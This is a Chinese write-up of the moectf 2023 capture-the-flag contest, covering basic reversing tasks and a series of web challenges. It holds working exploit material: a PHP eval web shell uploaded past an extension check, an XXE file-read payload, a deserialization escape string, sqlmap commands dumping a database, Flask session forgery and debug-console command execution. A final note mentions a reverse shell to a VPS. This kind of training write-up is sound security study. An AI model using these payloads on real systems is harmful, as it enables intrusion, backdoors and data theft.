前言
学了一年的fw老东西狠狠地摸,顺便尝试尝试新方向
结果差点忘了这个的结束日期,最后只打了web(12.5/13)和jail
签到
直接复制网址即可得到flag:moectf{We1com3_t0_m0ectf_2o23!!!}
Basic
CCCCC
#include<stdio.h>
#include<string.h>
int main()
{
//unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
int i;
for( i=0;i<strlen(enc_data);i++)
{
flag[i]=enc_data[i]^i; // 按位异或
}
puts(flag);
return 0;
}
Python
enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142] # Ascii值
x=lambda x:x^0xff # 匿名方法:与0xff进行异或
enc2=[]
for i in enc1:
enc2.append(x(i)) # 进行异或
key="moectf2023"
flag=""
for i in range(len(enc2)):
flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)
(0xf3) & (enc2[i])
对解密后的值与0xf3
进行按位与运算,保留某些特定位的值。((enc2[i]) ^ 0xff) & 0xc
对解密后的值取反后,再与0xc
进行按位与运算,保留某些特定位的值。((0xf3) & (enc2[i])) | (((enc2[i]) ^ 0xff) & 0xc)
将上述两个结果进行按位或运算,得到最终的值。chr()
函数将最终的值转换为对应的字符。flag +=
用于将转换后的字符追加到flag
字符串中。
运行得到flag:moectf{Pyth0n_1z_0ur_g00d_friendz}
runme
在对应的文件夹下打开cmd,输入程序名字即可执行保留结果
runme2
整个linux系统(虚拟机或者wsl),打开终端
先给个执行权限,然后就可以运行了
chmod +x ./runme2
./runme2
Web
http
照着提示做就行
flag:
moectf{basic_http_knowledge_Ak86CvfMV31YLT7ih6U_UoJDZKVa3UFX}
Web入门指北
十六进制+base64
flag:
moectf{w3lCome_To_moeCTF_W2b_challengE!!}
cookie
下载附件,得到api接口
进入题目,先访问/flag这个api看看,返回了"flag{you_should_login_first_to_get_the_flag}"
也就是我们要先登录才能拿到flag
访问/register抓包一手,按readme文档里面的json格式post发包进行注册
注意Content-type要改为json
然后访问/login
得到我们需要的cookie值
带着这个cookie值去/flag
返回flag{sorry_but_you_are_not_admin}
,说明我们要以管理员登录才能获得flag
照上面的流程注册一个admin的账号
然后会发现账号已存在,这个时候我们先把cookie拿出来解码看看
发现base64解码后能得到一串json
猜测就是靠这个判断是否是admin的,那我们只要把"role": "user"
改成"role": "admin"
再base64编码回去即可
flag:
moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}
彼岸的flag
连接容器,发现给了我个本地localhost页面
是一个聊天记录页面,结合题目描述说的在聊天平台泄露了flag
直接ctrl+u查看页面html源码
找到flag
moectf{find_comments_X7rT9Wp4oxhbmrS25ESL1RTnbXGcfrfU}
gas!gas!gas!
python脚本
要求0.5s就得做出反应,要么是伪造session要么是脚本代跑
f12在前端中找到对应的id属性
<form action="/" method="POST">
<label for="driver">选手:</label>
<input type="text" id="driver" name="driver" required><br><br>
<label for="steering_control">方向控制:</label>
<select id="steering_control" name="steering_control" required>
<option value="-1">左</option>
<option value="0" selected>直行</option>
<option value="1">右</option>
</select><br><br>
<label for="throttle">油门控制:</label>
<select id="throttle" name="throttle" required>
<option value="0">松开</option>
<option value="1">保持</option>
<option value="2" selected>全开</option>
</select><br><br>
因为每次对时间的判定是用session决定的,在不知道session的key的情况下我们不能进行伪造
只能写脚本照做,多跟gpt交流交流(
exp:
import requests
import re
url = "http://localhost:5528"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
s = requests.session()
res = s.post(
url=url,
data='driver=0w0&steering_control=0&throttle=2',
headers=headers)
print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',res.text)[0])
steering_control = 0
throttle = 0
for _ in range(6):
if "弯道向左" in res.text:
steering_control = 1
if "弯道直行" in res.text:
steering_control = 0
if "弯道向右" in res.text:
steering_control = -1
if "抓地力太小了" in res.text:
throttle = 0
if "保持这个速度" in res.text:
throttle = 1
if "抓地力太大了" in res.text:
throttle = 2
print(f'{steering_control =}')
print(f'{throttle =}')
res = s.post(
url=url,
data=f'driver=0w0&steering_control={steering_control}&throttle={throttle}',
headers=headers
)
print(res.text)
flag:moectf{Beautiful_Drifting!!_g5jA_PtonlwsneM9qV-Vvnmt33vby6Uy}
moe图床
文件上传前端绕过
前端js
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (!file) {
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
const formData = new FormData();
formData.append('file', file);
fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);
alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}
审计一下可以发现判断png的部分是用file.name.split('.').pop().toLowerCase();
通过调用
split('.')
方法,将文件名以点号作为分隔符拆分成一个数组。然后,使用pop()
方法获取数组中的最后一个元素,也就是文件的扩展名。最后,使用toLowerCase()
方法将扩展名转换为小写。
也就是说这个判断只识别一个.png
,我们可以在后面再加入.php
实现绕过
上传我们的马
<?=eval($_POST["cmd"]);?>
这样就上传成功getshell了
了解你的座驾
xml注入
可以发现post的数据里面存在xml注入点
对应一下标签,直接注入即可,记得先url编码一下再传
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>
payload:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
大海捞针
burpsuite爆破
题目描述:use /?id=<1-1000> to connect to different parallel universes
也就是我们只需要爆破出正确的id值就可以得到flag了,burpsuite启动
抓包发到攻击器Intruder
访问?id=163的页面,ctrl+u查看页面源码,找到flag:moectf{script_helps_ULOZw7NrjEIKRZ4V}
meo图床
文件上传+文件包含+php特性
先上传一个图片马,告诉我们只允许上传图片文件(JPEG、PNG 或 GIF),猜测会检测图片头
那就上传一个带有图片头的马,抓包改后缀为php,上传成功,尝试执行命令但是发现没解析
查看图片发现存在文件包含/images.php?name=
尝试直接读根目录的flag
得到hint:Fl3g_n0t_Here_dont_peek!!!!!.php
直接访问
<?php
highlight_file(__FILE__);
if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];
if ($param1 !== $param2) {
$md5Param1 = md5($param1);
$md5Param2 = md5($param2);
if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}
?>
md5弱类型比较
payload:
/Fl3g_n0t_Here_dont_peek!!!!!.php?param1=QNKCDZO¶m2=240610708
夺命十三枪
反序列化字符串逃逸
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
Hanxin.exe.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
思路很明显,让$Spear_Owner
的值为MaoLei即可获得flag,这里$Spear_Owner
的值在Omg_It_Is_So_Cool_Bring_Me_My_Flag类里被写死了
但是在Deadly_Thirteen_Spears::Make_a_Move
方法中存在str_replace
方法,也就是说我们可以利用字符串逃逸的方式让$Spear_Owner
的值为MaoLei
那么我们的目的就是构造逃逸字符串在后面插入";s:11:"Spear_Owner";s:6:"MaoLei";}
进行闭合,这里长度为35
在上面的$Top_Secret_Long_Spear_Techniques_Manual
数组中寻找合适的字符串进行替换,可以找到"" => "Penetrating_Gaze"
,长度从11变成16,每次增加5个长度,那么重复7次即可逃逸
payload:
?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
signin
python代码审计
from secrets import users, salt
import hashlib
import base64
import json
import http.server
with open("flag.txt","r") as f:
FLAG = f.read().strip()
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
assert "admin" in users
assert users["admin"] == "admin"
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
先审计一下代码,要想得到flag就要以admin登录,默认的用户名和密码都是admin,但是上面的if判断又要求我们的username不能为admin,同时username的值又不能等于password的值
我们直接看这段代码
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
这里判断是否是admin是经过了gethash
方法处理的,跟踪到gethash
方法
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
仔细观察可以发现,当传入的参数items为2个时,该函数等价于求两个参数的异或值并返回
所以当两个参数相等时,不管该参数为何值,返回值都为0
这样子对于hashed = gethash(params.get("username"),params.get("password"))
,hashed的值是可控为0的
而对于
assert "admin" in users
assert users["admin"] == "admin"
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
这样子v
也是可控为0的,从而使hashed == v
成立,而k
为admin,也使k == "admin"
成立,从而得到flag
再看下面那串eval的代码,复制过来跑一下看看是什么意思
for base64.b64encode in [base64.b64decode]
,说明这里把base64.b64encode
覆写成了base64.b64decode
所以接下来的
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
其实是对传入的数据进行了5次base64解码
而这个decrypt
方法会在底下的参数解析中用到:params = json.loads(decrypt(payload["params"]))
结合上述的内容,编写脚本即可,注意username需要套一层引号
exp:
import requests
import base64
url = "http://localhost:10566/login"
username = "\"1\""
password = "1"
jsondata = "{\"username\":" + f"{username}" + ",\"password\":" + f"{password}" + "}"
print(f"{jsondata = }")
for _ in range(5):
jsondata = base64.b64encode(str(jsondata).encode()).decode()
data = "{\"params\":\"" + f"{jsondata}\"" + "}"
print(f"{data = }")
req = requests.post(url=url, data=data).text
print(f"{req = }")
PS:新生真的会做这种东西吗。。。
出去旅游的心海
sql报错注入
根目录的flag是假的,直接进wordpress看看
给了个博客界面,发现存在一个php脚本
双击访问
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/
// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);
// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');
$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机
// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码
$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);
$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);
// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}
$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";
// 执行插入
$result = mysqli_query($mysqli, $query);
// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}
// 关闭数据库连接
mysqli_close($mysqli);
//gpt真好用
最底下输出了”数据插入失败: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘03:47:50)’ at line 1”
猜测存在报错注入,测试一下发现注入点在time
直接sqlmap梭了
python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" --dbs
python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress --tables
python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi --dump
flag:moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
moeworld
真实渗透
外网部分
先随便注册个账号登录进去看看
是flask框架,采用session密钥进行登录验证
看起来需要伪造session登录admin
对于key,后面这一段考虑使用python脚本进行暴力枚举
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
对应的工具Flask-Unsign:https://github.com/Paradoxis/Flask-Unsign
我们可以自己生成一个对应的爆破字典,参考美团CTF2022的easypickle
import os
with open('dict.txt','w') as f:
for i in range(1,100000):
a="This-random-secretKey-you-can't-get" + os.urandom(2).hex()
f.write("\"{}\"\n".format(a))
进行爆破
flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzQ1NiJ9.ZSi0Og.Q3wqhZwMHiPvxIO4gJ8Tb7H6Tpc" --wordlist dict.txt
得到密钥This-random-secretKey-you-can't-getb950
然后用flask-session-cookie-manager进行伪造
python3 flask_session_cookie_manager3.py encode -s "This-random-secretKey-you-can't-getb950" -t "{'power': 'admin', 'user': '123456'}"
把这个session带回cookie里,可以发现多了几篇留言
其中出现了pin码泄露138-429-604
那就可以进console调试模式命令执行了
import os
os.popen('ls /').read()
os.popen('cat /flag').read()
得到前半段flag:moectf{Information-leakage-Is-dangerous!
外网的部分到此结束
内网部分(未完成)
读取readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人
反弹shell到vps(我这里用的是花生壳内网穿透弹shell):在线生成反弹shell命令https://www.ddosi.org/shell/
